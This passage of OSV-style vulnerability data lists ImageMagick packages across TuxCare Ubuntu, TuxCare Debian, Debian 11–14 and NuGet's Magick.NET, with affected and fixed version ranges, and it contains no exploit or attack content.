,"package":"libmagickcore-6.q16-2-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-6.q16-2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"perlmagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els29"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6.q16","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6.q16hdri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libimage-magick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libimage-magick-q16-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libimage-magick-q16hdri-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16-8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16hdri-8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6-arch-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16-6-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16hdri-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16hdri-6-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16hdri-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"perlmagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els9"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6.q16","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6.q16hdri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libimage-magick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libimage-magick-q16-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libimage-magick-q16hdri-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16-7","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16hdri-7","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6-arch-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16-3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16-3-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16hdri-3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16hdri-3-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16-3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16hdri-3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"perlmagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els15"}]}]},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick-6-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick-6-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick-6.q16","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick-6.q16hdri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libimage-magick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libimage-magick-q16-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libimage-magick-q16hdri-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagick++-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagick++-6.q16-8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagick++-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagick++-6.q16hdri-8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagick++-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagick++-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6-arch-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6.q16-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6.q16-6-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6.q16hdri-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6.q16hdri-6-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickwand-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickwand-6.q16-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickwand-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickwand-6.q16hdri-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickwand-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickwand-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"perlmagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"Debian:12","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.11.60+dfsg-1.6+deb12u5"}]}],"versions":["8:6.9.11.60+dfsg-1.6","8:6.9.11.60+dfsg-1.6+deb12u1","8:6.9.11.60+dfsg-1.6+deb12u2","8:6.9.11.60+dfsg-1.6+deb12u3","8:6.9.11.60+dfsg-1.6+deb12u4"]},{"source":"osv","ecosystem":"Debian:13","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:7.1.1.43+dfsg1-1+deb13u3"}]}],"versions":["8:7.1.1.43+dfsg1-1","8:7.1.1.43+dfsg1-1+deb13u1","8:7.1.1.43+dfsg1-1+deb13u2"]},{"source":"osv","ecosystem":"Debian:14","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:7.1.2.7+dfsg1-1"}]}],"versions":["8:7.1.1.43+dfsg1-1","8:7.1.1.46+dfsg1-1","8:7.1.1.47+dfsg1-1","8:7.1.1.47+dfsg1-2","8:7.1.2.1+dfsg1-1","8:7.1.2.3+dfsg1-1"]},{"source":"osv","ecosystem":"Debian:11","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.11.60+dfsg-1.3+deb11u7"}]}],"versions":["8:6.9.11.60+dfsg-1.3","8:6.9.11.60+dfsg-1.3+deb11u1","8:6.9.11.60+dfsg-1.3+deb11u2","8:6.9.11.60+dfsg-1.3+deb11u3","8:6.9.11.60+dfsg-1.3+deb11u4","8:6.9.11.60+dfsg-1.3+deb11u5","8:6.9.11.60+dfsg-1.3+deb11u6"]},{"source":"osv","ecosystem":"NuGet","package":"Magick.NET-Q16-AnyCPU","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.9.0"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","14.8.2","6.8.8.1001","6.8.9.1","6.8.9.101","6.8.9.2","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.